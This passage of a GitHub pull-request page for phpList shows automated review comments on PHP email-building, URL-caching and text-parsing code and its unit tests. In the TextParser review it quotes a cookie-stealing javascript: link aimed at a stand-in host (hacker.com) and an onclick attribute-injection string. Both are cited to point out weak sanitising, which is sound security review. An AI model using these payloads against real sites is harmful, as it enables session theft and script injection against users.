$entityManager->flush(...),$this->entityManager->flush(...)$em->persist(...),$em->remove(...)$em->beginTransaction(),$em->commit(),$em->rollback()✅ Accessing Doctrine metadata, schema manager, or read-only schema info is acceptable
as long as it does not modify state or perform writes.✅ Relaxed rule for DynamicListAttr-related code:
- DynamicListAttr is a special case dealing with dynamic tables/attrs.
- It is acceptable for DynamicListAttr repositories/services to:
- Create/update/drop DynamicListAttr tables/columns.
- Use Doctrine persistence APIs (
persist,remove,flush, etc.)
as part of managing DynamicListAttr data and schema.- Do not flag persistence or schema-creation calls that are clearly scoped
to DynamicListAttr tables or their management.- Still prefer keeping this logic well-encapsulated (e.g. in dedicated services/repos),
not scattered across unrelated domain objects.
⚠️ For non-DynamicListAttr code:
- If code is invoking actual table-creation, DDL execution, or schema synchronization,
then request moving that to the Infrastructure or Application layer (e.g. MessageHandler).- Repositories in Domain should be abstractions without side effects; they should express intent,
not perform flush/transactional logic.
Files:
src/Domain/Common/RemotePageFetcher.phpsrc/Domain/Messaging/Service/Builder/EmailBuilder.phpsrc/Domain/Messaging/Exception/DevEmailNotConfiguredException.phpsrc/Domain/Common/ExternalImageService.php
🧬 Code graph analysis (3)
tests/Unit/Domain/Messaging/Service/MessageDataLoaderTest.php (4)
src/Domain/Configuration/Service/Provider/ConfigProvider.php (1)
ConfigProvider(12-82)src/Domain/Messaging/Repository/MessageDataRepository.php (1)
MessageDataRepository(12-26)src/Domain/Messaging/Repository/MessageRepository.php (1)
MessageRepository(16-119)src/Domain/Messaging/Service/MessageDataLoader.php (1)
MessageDataLoader(14-235)
src/Domain/Common/RemotePageFetcher.php (5)
src/Domain/Configuration/Repository/UrlCacheRepository.php (3)
UrlCacheRepository(12-32)findByUrlAndLastModified(16-25)getByUrl(28-31)src/Domain/Configuration/Service/Provider/ConfigProvider.php (1)
ConfigProvider(12-82)src/Domain/Common/HtmlUrlRewriter.php (2)
HtmlUrlRewriter(11-208)addAbsoluteResources(13-73)src/Domain/Common/TextParser.php (1)
__invoke(9-94)src/Domain/Configuration/Model/UrlCache.php (2)
getLastModified(48-51)setLastModified(69-73)
tests/Unit/Domain/Common/TextParserTest.php (1)
src/Domain/Common/TextParser.php (1)
TextParser(7-95)
⏰ Context from checks skipped due to timeout of 90000ms. You can increase the timeout in your CodeRabbit configuration to a maximum of 15 minutes (900000ms). (2)
- GitHub Check: phpList on PHP 8.1 [Build, Test]
- GitHub Check: phpList on PHP 8.1 [Build, Test]
🔇 Additional comments (8)
src/Domain/Common/RemotePageFetcher.php (1)
121-121: Question: Is ISO-8859-1 encoding necessary here?Line 121 converts the prepared URL to ISO-8859-1 after all substitutions. Modern HTTP and URL standards typically use UTF-8. This conversion could cause issues with URLs containing characters outside the ISO-8859-1 range.
Is this required for legacy compatibility? If not, consider removing the conversion to keep URLs in UTF-8.
tests/Unit/Domain/Common/TextParserTest.php (6)
14-17: Clean setup.The setUp method correctly initializes the parser with no unnecessary complexity.
19-28: Solid email linking test.The test correctly verifies that email addresses are converted to mailto links with proper URL encoding in the href and escaped HTML in the display text. Good use of a complex email address to test the edge cases.
30-40: Nice period handling verification.The test properly verifies that trailing periods are moved outside the anchor tag and that non-www URLs omit the scheme in the display text. The inline comment adds helpful clarity.
42-51: www prefix handling looks good.The test correctly verifies that www-prefixed URLs get http:// added to the href while preserving www in the display text.
62-68: Special character preservation verified.Simple and effective test that dollar signs and parentheses pass through unchanged.
53-60: No changes needed—the expected output is correct.The
<br />and literal newline are preserved together by design. Looking at the TextParser implementation (line 94), it explicitly replaces newlines with<br />\n, keeping both the HTML break tag and the character. The test correctly reflects this intentional behavior.src/Domain/Messaging/Exception/DevEmailNotConfiguredException.php (1)
9-15: LGTM!Clean exception implementation with a clear, actionable error message for the dev-mode email routing scenario.
| $lastModified = time(); | ||
| $cacheUrl = $this->urlCacheRepository->findByUrlAndLastModified($url, $lastModified); | ||
| $content = $cacheUrl?->getContent(); | ||
| if ($cacheUrl) { | ||
| // todo: check what the page should be for this log | ||
| $this->eventLogManager->log(page: 'unknown page', entry: $url . ' was cached in database'); |
There was a problem hiding this comment.
Caching logic flaw: querying for future-dated entries defeats the cache.
Lines 51-52 set $lastModified = time() then call findByUrlAndLastModified($url, $lastModified). Looking at the repository implementation (where clause u.lastModified > :lastModified), this queries for cache entries with lastModified > time() — essentially future-dated entries that will never exist, so the cache lookup will always fail.
Rethink this logic: either remove the second query (lines 51-56) if the first check (lines 42-46) already handles freshness, or fix the repository query to properly compare cache staleness.
| $caches = $this->urlCacheRepository->getByUrl($url); | ||
| foreach ($caches as $cache) { | ||
| $this->entityManager->remove($cache); | ||
| } | ||
| $urlCache = (new UrlCache())->setUrl($url)->setContent($content)->setLastModified($lastModified); | ||
| $this->urlCacheRepository->persist($urlCache); |
There was a problem hiding this comment.
Domain purity breach: direct EntityManager usage in Domain layer.
Line 67 calls $this->entityManager->remove($cache) directly, which introduces persistence side effects in src/Domain/**. Per the coding guidelines, domain services should not perform Doctrine persistence operations (this isn't DynamicListAttr-related code).
Move this cache purging logic to the Infrastructure or Application layer. Consider returning a value object or emitting a domain event that a MessageHandler can consume to perform the actual persistence operations.
Based on coding guidelines, Domain services should not perform persistence operations.
| $subscriber->setBlacklisted(true); | ||
|
|
||
| $this->subscriberHistoryManager->addHistory( | ||
| subscriber: $subscriber, | ||
| message: 'Marked Blacklisted', | ||
| details: 'Found user in blacklist while trying to send an email, marked black listed', | ||
| ); |
There was a problem hiding this comment.
Subscriber state change may not be persisted.
Line 116 marks the subscriber as blacklisted via setBlacklisted(true), but there's no persistence call. If this change is intended to be saved, the calling layer (e.g., message handler) should handle the flush. Consider returning a signal or domain event so the caller knows to persist, or document that persistence is the caller's responsibility.
Based on coding guidelines for domain purity.
🤖 Prompt for AI Agents
In src/Domain/Messaging/Service/Builder/EmailBuilder.php around lines 116 to
122, the code sets $subscriber->setBlacklisted(true) but does not persist the
change or signal to the caller that persistence is required; update the method
to either (a) persist the change here via the repository/manager (call the
appropriate save/flush on the subscriber repository or entity manager), or (b)
emit/return a domain event or boolean flag indicating the subscriber was
modified so the caller (message handler) can flush; choose one approach
consistent with domain purity (prefer returning a domain event or flag if
persistence belongs to the caller) and document the chosen contract in the
method PHPDoc.
7ebc63c to
ca6dc94
Compare
There was a problem hiding this comment.
Actionable comments posted: 0
♻️ Duplicate comments (9)
src/Domain/Common/TextParser.php (3)
33-37: Still breaking legitimate URLs with colon removal.Line 36 strips every colon from URLs, which corrupts ports (
example.com:8080), query params with times (?time=12:30), and IPv6 addresses. The comment acknowledges this but the 🤷 doesn't make it safe.Instead of removing colons, either reject non-whitelisted schemes or default to
http://prefix.🔎 Safer approach
if (!preg_match('/^(http:)|(mailto:)|(ftp:)|(https:)/i', $url)) { - // Removing all colons breaks legitimate URLs but avoids this 🤷 - //<a href="javascript:window.open('http://hacker.com?cookie='+document.cookie)"> - $url = preg_replace('/:/', '', $url); + // Default to http:// for protocol-less URLs + $url = 'http://' . $url; }
38-38: Attribute injection vulnerability via unsafe concatenation.Directly concatenating
$url,$rest, and$matches[4]without escaping allows attackers to inject attributes or break out of the href. A crafted anchor likehref="\" onclick=\"alert(1)\""would execute JavaScript.Escape each piece before building the tag:
htmlspecialchars($url, ENT_QUOTES, 'UTF-8')for the href, and the same for link text. The$restattributes need to be parsed and whitelisted (or dropped entirely) since raw attribute strings are unsafe.
49-59: URL auto-linking needs HTML escaping.Lines 51 and 57 inject raw matched URL groups directly into
hrefattributes and link text. If a URL contains special characters like"or<, it could break out of the attribute or inject markup.Consider switching from
preg_replacetopreg_replace_callback(like you did for email) so you can applyhtmlspecialchars()to each matched component before building the anchor tag.src/Domain/Common/RemotePageFetcher.php (3)
51-56: Caching logic still queries for future-dated entries.Line 51 sets
$lastModified = time()then passes it tofindByUrlAndLastModified, which (per the repository'sWHERE u.lastModified > :lastModifiedclause) looks for cache entries newer than "now." Since cache entries are created with current/past timestamps, this will never match, causing unnecessary cache misses.
67-67: Domain purity breach: direct EntityManager usage.Line 67 calls
$this->entityManager->remove($cache)directly, introducing persistence side effects in the Domain layer. Per coding guidelines, Doctrine persistence APIs should not be used here (this isn't DynamicListAttr-related).Move cache purging to Infrastructure/Application layer or use the repository abstraction to handle removals.
Based on coding guidelines, Domain services should not perform persistence operations.
121-121: Remove the unnecessary ISO-8859-1 encoding conversion.Line 121 converts the URL to ISO-8859-1 after it's been properly encoded with
rawurlencode, which contradicts modern HTTP standards (UTF-8 expected). There's no documentation or system requirement for this encoding in the codebase, and it appears to be a leftover that could corrupt international URLs. Strip it out.foreach ($userData as $key => $val) { if ($key !== 'password') { $url = str_replace('[' . $key . ']', rawurlencode($val), $url); } } - $url = mb_convert_encoding($url, 'ISO-8859-1', 'UTF-8'); return $this->expandUrl($url);src/Domain/Messaging/Service/Builder/EmailBuilder.php (3)
116-122: Subscriber marked blacklisted but not persisted.This concern was previously raised. However, per domain purity guidelines, expressing intent via
setBlacklisted(true)without handling persistence here is acceptable—the calling layer (message handler) should flush. If you need explicit signaling, consider returning a domain event or flag so the caller knows to persist.
177-179: Unreachable "X-Originally to" header logic.This issue was previously raised. The condition is always false because
resolveDestinationEmailAndMessage(line 139) sets$destinationEmail = $this->devEmail, so$destinationEmail !== $this->devEmailnever evaluates to true. Preserve the original$toand compare against that instead.
188-206: Image embedder return value discarded; email will have broken embedded images.Despite a past comment indicating this was addressed, line 199 still discards the embedder's return value. The embedder modifies HTML to use CID references for embedded images, but that modified HTML is never captured or used. Line 197 sets the original
$htmlMessage(without CIDs), so recipients will see broken image links.Additionally, text is redundantly set three times (lines 198, 203, 205)—only the final call at line 205 is needed after word-wrapping.
🔎 Proposed fix
private function applyContentAndFormatting(Email $email, $htmlMessage, $textMessage, int $messageId): void { $newWrap = $this->configProvider->getValue(ConfigOption::WordWrap); if ($newWrap) { $textMessage = wordwrap($textMessage, (int)$newWrap); } if (!empty($htmlMessage)) { + $htmlMessage = ($this->templateImageEmbedder)(html: $htmlMessage, messageId: $messageId); $email->html($htmlMessage); - $email->text($textMessage); - ($this->templateImageEmbedder)(html: $htmlMessage, messageId: $messageId); - //# In the above phpMailer strips all tags, which removes the links - // which are wrapped in < and > by HTML2text - //# so add it again - $email->text($textMessage); } $email->text($textMessage); }
🧹 Nitpick comments (4)
tests/Unit/Domain/Messaging/Service/MessageDataLoaderTest.php (1)
69-81: Consider using a proper mock instead of an anonymous class.The anonymous class works fine for returning a listId, but using
$this->createMock()with a stub class or interface would be more maintainable and provide better IDE support. That said, this approach is functional for a simple test case.Alternative approach using a mock
$listMessage = $this->createMock(ListMessage::class); $listMessage->method('getListId')->willReturn(42); $message->method('getListMessages')->willReturn( new ArrayCollection([$listMessage]) );src/Domain/Messaging/Model/Dto/MessagePrecacheDto.php (1)
26-27: Consider removing commented-out charset properties.If these charset properties aren't needed, removing the commented lines would keep the code cleaner. If they're planned for future use, a TODO comment would clarify the intent.
src/Domain/Messaging/Service/Builder/EmailBuilder.php (2)
58-59: Remove or implement commented code.Dead code adds clutter. If reply-to functionality is planned, create a TODO or issue tracker item; otherwise remove these lines.
147-147: Consider typing$destinationEmailasstringinstead ofmixed.All usages (lines 156, 173, 181) treat it as a string. Explicit typing improves clarity and catches errors earlier.
📜 Review details
Configuration used: Path: .coderabbit.yaml
Review profile: CHILL
Plan: Pro
📒 Files selected for processing (8)
src/Domain/Common/ExternalImageService.phpsrc/Domain/Common/RemotePageFetcher.phpsrc/Domain/Common/TextParser.phpsrc/Domain/Messaging/Exception/DevEmailNotConfiguredException.phpsrc/Domain/Messaging/Model/Dto/MessagePrecacheDto.phpsrc/Domain/Messaging/Service/Builder/EmailBuilder.phptests/Unit/Domain/Common/TextParserTest.phptests/Unit/Domain/Messaging/Service/MessageDataLoaderTest.php
🚧 Files skipped from review as they are similar to previous changes (2)
- src/Domain/Common/ExternalImageService.php
- tests/Unit/Domain/Common/TextParserTest.php
🧰 Additional context used
📓 Path-based instructions (1)
src/Domain/**
⚙️ CodeRabbit configuration file
src/Domain/**: You are reviewing PHP domain-layer code. Enforce domain purity, with a relaxed policy for DynamicListAttr:
❌ Do not allow persistence or transaction side effects here for normal domain models.
Flag ANY usage of Doctrine persistence APIs on regular domain entities, especially:
$entityManager->flush(...),$this->entityManager->flush(...)$em->persist(...),$em->remove(...)$em->beginTransaction(),$em->commit(),$em->rollback()✅ Accessing Doctrine metadata, schema manager, or read-only schema info is acceptable
as long as it does not modify state or perform writes.✅ Relaxed rule for DynamicListAttr-related code:
- DynamicListAttr is a special case dealing with dynamic tables/attrs.
- It is acceptable for DynamicListAttr repositories/services to:
- Create/update/drop DynamicListAttr tables/columns.
- Use Doctrine persistence APIs (
persist,remove,flush, etc.)
as part of managing DynamicListAttr data and schema.- Do not flag persistence or schema-creation calls that are clearly scoped
to DynamicListAttr tables or their management.- Still prefer keeping this logic well-encapsulated (e.g. in dedicated services/repos),
not scattered across unrelated domain objects.
⚠️ For non-DynamicListAttr code:
- If code is invoking actual table-creation, DDL execution, or schema synchronization,
then request moving that to the Infrastructure or Application layer (e.g. MessageHandler).- Repositories in Domain should be abstractions without side effects; they should express intent,
not perform flush/transactional logic.
Files:
src/Domain/Messaging/Exception/DevEmailNotConfiguredException.phpsrc/Domain/Common/TextParser.phpsrc/Domain/Messaging/Model/Dto/MessagePrecacheDto.phpsrc/Domain/Messaging/Service/Builder/EmailBuilder.phpsrc/Domain/Common/RemotePageFetcher.php
🧬 Code graph analysis (3)
src/Domain/Messaging/Exception/DevEmailNotConfiguredException.php (1)
src/Domain/Messaging/Service/Builder/EmailBuilder.php (1)
__construct(23-38)
src/Domain/Common/TextParser.php (1)
src/Domain/Common/Html2Text.php (1)
__invoke(18-84)
src/Domain/Messaging/Service/Builder/EmailBuilder.php (6)
src/Domain/Configuration/Service/Provider/ConfigProvider.php (1)
ConfigProvider(12-82)src/Domain/Messaging/Exception/DevEmailNotConfiguredException.php (2)
DevEmailNotConfiguredException(9-15)__construct(11-14)src/Domain/Messaging/Service/SystemMailConstructor.php (2)
SystemMailConstructor(13-103)__construct(17-25)src/Domain/Messaging/Service/TemplateImageEmbedder.php (2)
TemplateImageEmbedder(16-307)__construct(33-44)src/Domain/Subscription/Repository/SubscriberRepository.php (1)
SubscriberRepository(21-208)src/Domain/Subscription/Repository/UserBlacklistRepository.php (4)
UserBlacklistRepository(14-60)__construct(16-22)isEmailBlacklisted(45-59)findOneByEmail(38-43)
⏰ Context from checks skipped due to timeout of 90000ms. You can increase the timeout in your CodeRabbit configuration to a maximum of 15 minutes (900000ms). (2)
- GitHub Check: phpList on PHP 8.1 [Build, Test]
- GitHub Check: phpList on PHP 8.1 [Build, Test]
🔇 Additional comments (7)
src/Domain/Common/TextParser.php (1)
11-26: Email conversion looks solid.The regex properly validates email structure and escaping is correctly applied:
htmlspecialcharsfor the display text andrawurlencodefor the mailto URL. Nice work addressing the previous email regex concerns.tests/Unit/Domain/Messaging/Service/MessageDataLoaderTest.php (2)
1-30: Solid test setup.The mock declarations and setUp method follow standard PHPUnit best practices. The use of intersection types for mocks is clean.
91-139: Nice comprehensive test with proper time drift handling.The assertions thoroughly cover the expected transformations and the time-based validation with a ±120 second tolerance is well-designed to handle test execution variance.
src/Domain/Messaging/Model/Dto/MessagePrecacheDto.php (3)
1-9: Clean DTO structure.The namespace placement is appropriate and suppressing the TooManyFields warning is reasonable for a DTO that aggregates email precache data.
10-25: Property initialization looks solid.All typed properties now have appropriate defaults. The previous issues with uninitialized properties have been resolved—non-nullable properties have concrete defaults and nullable properties default to null.
28-30: Final properties initialized correctly.The boolean, nullable string, and array properties all have appropriate defaults.
src/Domain/Messaging/Exception/DevEmailNotConfiguredException.php (1)
1-15: LGTM!Clean exception class following standard patterns. The message clearly indicates the specific configuration problem (dev mode requires dev email), making it easy to diagnose and fix.
There was a problem hiding this comment.
Actionable comments posted: 0
🧹 Nitpick comments (2)
tests/Unit/Domain/Messaging/EventSubscriber/InjectedByHeaderSubscriberTest.php (2)
40-59: ConsiderexpectNotToPerformAssertions()for clarity.The test correctly validates behavior with non-Email messages. The sanity check approach (lines 56-58) works, but you might find
$this->expectNotToPerformAssertions()at the start of the test slightly cleaner for documenting intent.Alternative approach
public function testNoHeaderWhenMessageIsNotEmail(): void { + $this->expectNotToPerformAssertions(); + $requestStack = new RequestStack(); // Push a Request to ensure the early return is due to non-Email message, not missing request $requestStack->push(new Request(server: ['REQUEST_TIME' => time()])); $subscriber = new InjectedByHeaderSubscriber($requestStack); $raw = new RawMessage('raw'); // Create an arbitrary envelope; it does not need to match the message class $envelope = new Envelope(new Address('from@example.com'), [new Address('to@example.com')]); $event = new MessageEvent($raw, $envelope, 'test'); // RawMessage has no headers; the subscriber should return early $subscriber->onMessage($event); - - $this->assertSame('raw', $raw->toString()); // sanity check to use the variable - // Nothing to assert on headers (RawMessage has none), but the lack of exceptions is success - $this->addToAssertionCount(1); }
17-89: Optional: Consider documenting why the positive case isn't tested.The tests thoroughly cover all guard conditions (no request, non-Email message, CLI environment). The positive case—where the header is actually added—isn't tested here, likely because it requires a non-CLI environment which is tricky to simulate in unit tests.
You might add a comment explaining this limitation, or consider an integration test for the positive scenario.
📜 Review details
Configuration used: Path: .coderabbit.yaml
Review profile: CHILL
Plan: Pro
📒 Files selected for processing (1)
tests/Unit/Domain/Messaging/EventSubscriber/InjectedByHeaderSubscriberTest.php
🧰 Additional context used
🧬 Code graph analysis (1)
tests/Unit/Domain/Messaging/EventSubscriber/InjectedByHeaderSubscriberTest.php (1)
src/Domain/Messaging/EventSubscriber/InjectedByHeaderSubscriber.php (2)
InjectedByHeaderSubscriber(12-52)onMessage(23-51)
⏰ Context from checks skipped due to timeout of 90000ms. You can increase the timeout in your CodeRabbit configuration to a maximum of 15 minutes (900000ms). (2)
- GitHub Check: phpList on PHP 8.1 [Build, Test]
- GitHub Check: phpList on PHP 8.1 [Build, Test]
🔇 Additional comments (2)
tests/Unit/Domain/Messaging/EventSubscriber/InjectedByHeaderSubscriberTest.php (2)
19-38: LGTM! Clear test for the no-request guard.The test correctly validates that no header is added when there's no current request in the stack. The assertion message is descriptive and the test structure is clean.
61-88: LGTM! Validates the CLI guard correctly.The test properly verifies that the header isn't added when running under CLI SAPI. The comment on line 83 helpfully clarifies the test's reliance on PHPUnit's CLI environment.
There was a problem hiding this comment.
Actionable comments posted: 0
♻️ Duplicate comments (2)
src/Domain/Messaging/Service/Builder/EmailBuilder.php (2)
105-128: Domain purity: Subscriber state change without persistence.Line 116 modifies the subscriber entity via
setBlacklisted(true), but the change is never persisted. Per the coding guidelines for Domain layer code, this creates an in-memory-only mutation that won't survive the request.Consider one of these approaches:
- Preferred: Return a domain event or result object (e.g.,
BlacklistViolation) that signals to the caller (message handler) to persist the subscriber change.- Alternative: Document explicitly that persistence is the caller's responsibility and ensure the calling layer handles it.
Based on coding guidelines for Domain layer purity.
184-189: X-Originally-To header is never added in dev mode.The condition at line 184 checks
$destinationEmail !== $this->devEmail, but whendevEmailis configured,resolveDestinationEmailAndMessage(line 61) has already set$destinationEmail = $this->devEmail. This makes the condition always false, so the header is never added.To fix: preserve the original recipient before overwriting it. For example, store
$originalToinbuildPhplistEmailbefore callingresolveDestinationEmailAndMessage, then pass it tocreateBaseEmailand compare against that value.🔎 Possible fix
In
buildPhplistEmail, preserve the original recipient:+ $originalTo = $to; [$destinationEmail, $message] = $this->resolveDestinationEmailAndMessage($to, $message);Pass it to
createBaseEmail:$email = $this->createBaseEmail( $messageId, $destinationEmail, + $originalTo, $fromEmail,Update the method signature and logic:
private function createBaseEmail( int $messageId, mixed $destinationEmail, + ?string $originalTo, ?string $fromEmail, ... ) : Email { ... - if ($this->devEmail && $destinationEmail !== $this->devEmail) { + if ($this->devEmail && $originalTo !== $this->devEmail) { $email->getHeaders()->addMailboxHeader( 'X-Originally-To', - new Address($destinationEmail) + new Address($originalTo) ); }
🧹 Nitpick comments (1)
src/Domain/Messaging/Service/Builder/EmailBuilder.php (1)
198-213: Redundant text body assignment.Line 206 sets the text body, and line 212 sets it again. The second call is redundant and can be removed.
🔎 Proposed fix
if (!empty($htmlMessage)) { // Embed/transform images and use the returned HTML content $htmlMessage = ($this->templateImageEmbedder)(html: $htmlMessage, messageId: $messageId); $email->html($htmlMessage); $email->text($textMessage); //# In the above phpMailer strips all tags, which removes the links // which are wrapped in < and > by HTML2text //# so add it again } - // Ensure text body is always set - $email->text($textMessage);Alternatively, if you want to ensure the text body is always set regardless of HTML presence, remove line 206 and keep only line 212:
if (!empty($htmlMessage)) { // Embed/transform images and use the returned HTML content $htmlMessage = ($this->templateImageEmbedder)(html: $htmlMessage, messageId: $messageId); $email->html($htmlMessage); - $email->text($textMessage); //# In the above phpMailer strips all tags, which removes the links // which are wrapped in < and > by HTML2text //# so add it again } // Ensure text body is always set $email->text($textMessage);
📜 Review details
Configuration used: Path: .coderabbit.yaml
Review profile: CHILL
Plan: Pro
📒 Files selected for processing (3)
src/Domain/Messaging/Service/Builder/EmailBuilder.phptests/Unit/Domain/Messaging/EventSubscriber/InjectedByHeaderSubscriberTest.phptests/Unit/Domain/Messaging/Service/Builder/EmailBuilderTest.php
🚧 Files skipped from review as they are similar to previous changes (1)
- tests/Unit/Domain/Messaging/EventSubscriber/InjectedByHeaderSubscriberTest.php
🧰 Additional context used
📓 Path-based instructions (1)
src/Domain/**
⚙️ CodeRabbit configuration file
src/Domain/**: You are reviewing PHP domain-layer code. Enforce domain purity, with a relaxed policy for DynamicListAttr:
❌ Do not allow persistence or transaction side effects here for normal domain models.
Flag ANY usage of Doctrine persistence APIs on regular domain entities, especially:
$entityManager->flush(...),$this->entityManager->flush(...)$em->persist(...),$em->remove(...)$em->beginTransaction(),$em->commit(),$em->rollback()✅ Accessing Doctrine metadata, schema manager, or read-only schema info is acceptable
as long as it does not modify state or perform writes.✅ Relaxed rule for DynamicListAttr-related code:
- DynamicListAttr is a special case dealing with dynamic tables/attrs.
- It is acceptable for DynamicListAttr repositories/services to:
- Create/update/drop DynamicListAttr tables/columns.
- Use Doctrine persistence APIs (
persist,remove,flush, etc.)
as part of managing DynamicListAttr data and schema.- Do not flag persistence or schema-creation calls that are clearly scoped
to DynamicListAttr tables or their management.- Still prefer keeping this logic well-encapsulated (e.g. in dedicated services/repos),
not scattered across unrelated domain objects.
⚠️ For non-DynamicListAttr code:
- If code is invoking actual table-creation, DDL execution, or schema synchronization,
then request moving that to the Infrastructure or Application layer (e.g. MessageHandler).- Repositories in Domain should be abstractions without side effects; they should express intent,
not perform flush/transactional logic.
Files:
src/Domain/Messaging/Service/Builder/EmailBuilder.php
🧬 Code graph analysis (1)
src/Domain/Messaging/Service/Builder/EmailBuilder.php (5)
src/Domain/Configuration/Service/Provider/ConfigProvider.php (1)
ConfigProvider(12-82)src/Domain/Messaging/Exception/DevEmailNotConfiguredException.php (2)
DevEmailNotConfiguredException(9-15)__construct(11-14)src/Domain/Messaging/Service/SystemMailConstructor.php (2)
SystemMailConstructor(13-103)__construct(17-25)src/Domain/Messaging/Service/TemplateImageEmbedder.php (2)
TemplateImageEmbedder(16-307)__construct(33-44)src/Domain/Subscription/Repository/UserBlacklistRepository.php (3)
UserBlacklistRepository(14-60)__construct(16-22)isEmailBlacklisted(45-59)
⏰ Context from checks skipped due to timeout of 90000ms. You can increase the timeout in your CodeRabbit configuration to a maximum of 15 minutes (900000ms). (2)
- GitHub Check: phpList on PHP 8.1 [Build, Test]
- GitHub Check: phpList on PHP 8.1 [Build, Test]
🔇 Additional comments (1)
tests/Unit/Domain/Messaging/Service/Builder/EmailBuilderTest.php (1)
1-194: Nice test coverage!The test suite provides solid coverage of the EmailBuilder functionality:
- Edge cases for validation (missing recipient/subject)
- Blacklist handling with history updates
- Dev mode email construction with comprehensive header checks
Well-structured mocks and clear assertions make this easy to maintain.
There was a problem hiding this comment.
Actionable comments posted: 1
📜 Review details
Configuration used: Path: .coderabbit.yaml
Review profile: CHILL
Plan: Pro
📒 Files selected for processing (1)
.coderabbit.yaml
⏰ Context from checks skipped due to timeout of 90000ms. You can increase the timeout in your CodeRabbit configuration to a maximum of 15 minutes (900000ms). (2)
- GitHub Check: phpList on PHP 8.1 [Build, Test]
- GitHub Check: phpList on PHP 8.1 [Build, Test]
TatevikGr
force-pushed
the
ref/campaign-processing
branch
from
28b0824 to
823e006
Compare
There was a problem hiding this comment.
Actionable comments posted: 2
🧹 Nitpick comments (7)
tests/Unit/Domain/Common/HtmlUrlRewriterTest.php (1)
10-121: Consider adding edge case tests.The current test suite provides solid coverage of the main functionality. You might optionally add tests for edge cases like empty strings, malformed HTML, or invalid base URLs to increase robustness, but the existing tests are comprehensive for typical usage scenarios.
tests/Unit/Domain/Messaging/Service/SystemMailConstructorTest.php (1)
101-102: Consider strengthening the callback assertion.The callback only validates that the parameter is a string. You could make this more robust by checking for specific content (e.g., that it contains the powered-by image or signature placeholder).
💡 Example of more specific validation
- ->with($this->callback(fn ($html) => is_string($html))) + ->with($this->callback(fn ($html) => is_string($html) && str_contains($html, 'src=')))tests/Unit/Domain/Messaging/Service/TemplateImageEmbedderTest.php (5)
38-43: Optional: Config setup duplication.The default config values set here in
setUp()are re-defined in most individual test methods (e.g., lines 95-100, 133-138). While this doesn't cause issues and allows each test to be self-contained, you could reduce duplication by relying on these defaults and only overriding specific values in tests that need different configs.
150-160: Test coverage: Verify template ID parameter.The mock callback for
findByTemplateIdAndFilenamechecks the filename but doesn't verify the$tplIdparameter. Since the test sets template ID to'42'(line 134) but calls the embedder with campaignId7(line 163), consider asserting the expected template ID values within the callback to ensure the correct IDs are passed.🔎 Example: Add assertions for template ID
$this->templateImageRepository->method('findByTemplateIdAndFilename') ->willReturnCallback(function (int $tplId, string $filename) use ($tplImg1, $tplImg2) { if ($filename === '/assets/logo.jpg') { - // In current implementation, first pass checks templateId as provided + $this->assertSame(42, $tplId, 'Expected template ID 42 for logo.jpg'); return $tplImg1; } if ($filename === 'powerphplist.png') { + $this->assertSame(0, $tplId, 'Expected template ID 0 for powerphplist.png'); return $tplImg2; } return null; });
188-189: Use more precise mock expectation.Using
atLeastOnce()for thecreate()expectation is less precise thanonce()orexactly(1). Consider using a more specific expectation to catch potential bugs if the method is called an unexpected number of times.🔎 Suggested change
-$this->configManager->expects($this->atLeastOnce()) +$this->configManager->expects($this->once()) ->method('create');
225-225: Type inconsistency in config value.The
ConfigOption::SystemMessageTemplateis set to integer0here, while other tests use string'0'(lines 39, 96, 134, etc.). Unless this is intentionally testing type handling, consider using consistent types across all tests.
105-111: Future consideration:withConsecutive()deprecation.The
withConsecutive()method used here is deprecated in PHPUnit 10+. Since you're currently on PHPUnit 9.5.0, this works fine, but when upgrading to PHPUnit 10+, you'll need to refactor these expectations using parameter matchers or thewillReturnCallback()approach.
📜 Review details
Configuration used: Path: .coderabbit.yaml
Review profile: CHILL
Plan: Pro
📒 Files selected for processing (4)
phpunit.xml.disttests/Unit/Domain/Common/HtmlUrlRewriterTest.phptests/Unit/Domain/Messaging/Service/SystemMailConstructorTest.phptests/Unit/Domain/Messaging/Service/TemplateImageEmbedderTest.php
🧰 Additional context used
🧬 Code graph analysis (1)
tests/Unit/Domain/Common/HtmlUrlRewriterTest.php (1)
src/Domain/Common/HtmlUrlRewriter.php (3)
HtmlUrlRewriter(11-208)addAbsoluteResources(13-73)absolutizeUrl(84-107)
⏰ Context from checks skipped due to timeout of 90000ms. You can increase the timeout in your CodeRabbit configuration to a maximum of 15 minutes (900000ms). (2)
- GitHub Check: phpList on PHP 8.1 [Build, Test]
- GitHub Check: phpList on PHP 8.1 [Build, Test]
🔇 Additional comments (15)
phpunit.xml.dist (1)
10-14: Configuration is good. Thetestsdirectory exists and is properly set up with test files across Integration, Unit, System, and Support subdirectories.tests/Unit/Domain/Common/HtmlUrlRewriterTest.php (7)
1-17: Clean test setup.The class structure and setUp are straightforward and appropriate for unit testing the HtmlUrlRewriter.
19-33: Good coverage of basic attributes.The test validates absolutization of common HTML attributes (src, href, action, background) with both relative and root-relative paths.
35-49: Solid edge case coverage.Validates that special schemes (hash anchors, mailto, javascript, data URIs) are correctly preserved without modification.
51-59: Protocol-relative URL handling looks good.Correctly validates that protocol-relative URLs adopt the base scheme while preserving their host.
61-71: Srcset handling validated correctly.Tests that srcset candidates are properly rewritten for relative URLs while preserving already-absolute URLs.
73-105: Comprehensive CSS URL rewriting test.Validates CSS url() and @import rewriting in both style blocks and inline attributes. The regex patterns appropriately handle optional quotes and various @import syntaxes.
107-120: Direct method testing with good edge case coverage.Validates dot segment resolution and port/query/fragment preservation through direct absolutizeUrl calls.
tests/Unit/Domain/Messaging/Service/SystemMailConstructorTest.php (7)
1-23: LGTM!Clean setup with proper type hints and all necessary dependencies mocked.
24-36: Mocking strategy looks solid.Good use of
getMockBuilderwhere specific method control is needed andcreateMockfor simpler cases.
38-53: Nice helper pattern.Centralizing the constructor setup with configurable
poweredByPhplistkeeps tests clean and focused.
55-67: Test coverage looks good.Properly validates that plain text isn't unnecessarily processed through Html2Text, and that linkification and newline handling work as expected.
69-82: Clean test of HTML conversion path.Validates the Html2Text integration correctly converts HTML to text while preserving the original HTML.
160-167: Test assertions validate the powered-by text rendering path.Good coverage of the HTML insertion before
</body>and text appending behavior when no signature placeholder is present.
120-122: No action needed — the src transformation is correctly implemented.The
SystemMailConstructoractually performs the path transformation on line 44-48 usingpreg_replace, which convertssrc="/assets/power-phplist.png"tosrc="powerphplist.png". This happens beforeparseLogoPlaceholdersis called, so the test expectation at line 122 is correct and the actual behavior matches.
| $this->html2Text->expects($this->exactly(2)) | ||
| ->method('__invoke') | ||
| ->withConsecutive( | ||
| ['Hello <b>World</b>'], | ||
| ['<i>PB</i>'] | ||
| ) | ||
